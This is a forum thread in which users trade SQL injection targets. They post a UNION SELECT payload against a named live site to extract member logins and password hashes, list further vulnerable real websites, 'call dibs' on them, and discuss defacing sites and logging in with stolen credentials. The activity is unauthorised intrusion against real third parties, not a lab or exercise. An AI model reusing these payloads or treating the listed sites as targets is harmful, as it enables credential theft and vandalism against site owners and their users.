[alibaba12]

ive try the 3rd site
ive found out the table 'members' and those columns inside :
member_id,firstname,lastname,login,passwd
but when ive try this i getting error :S :
view-source:www.beemabuild.co.uk/view_product.php?id=1+union+all+select+null,null,group_concat(login,0x3a,passwd)from%200x6d656d62657273--
why that?

[Geld]

Thanks alot for this nice list! Will use it later.

[alibaba12]

ive try without hex that why i try hex ^_^.
:S other idea?:)

[alibaba12]

why you dont put ' before and after the members? that string no?

[pwndmin]

i liked this one
http://hcpoa.com/
..

[kinglaz]

http://www.hispanicheritage.org/press_news.php?id=180
yeah i got into this one aswel.. But esshh i cant connect..

[YMCMB™]

Once you deface it and get the username and pass were do I log in at?

[rand0]

http://www.aisonic.com dibs! :)

or maybe kidneytimes.com instead. I probs won't deface any though. Just wanna get more xp :) Anyone have any blind sqli vulns, by the way? I need the practice. I feel like version 5 is getting a bit too easy for me at this point.

[rand0]

A lot of sites vulnerable to basic injection are also vulnerable to blind injection.

I know, but I want a version 4. I don't want a lot of the nice stuff you can do in version 5 like schema and group_concat and whatnot. I suppose I could look up all the things you can't do and not do them, but I sort of want to try a real live case. I'll probably take your advice if I can't find any on my own soon, so thanks!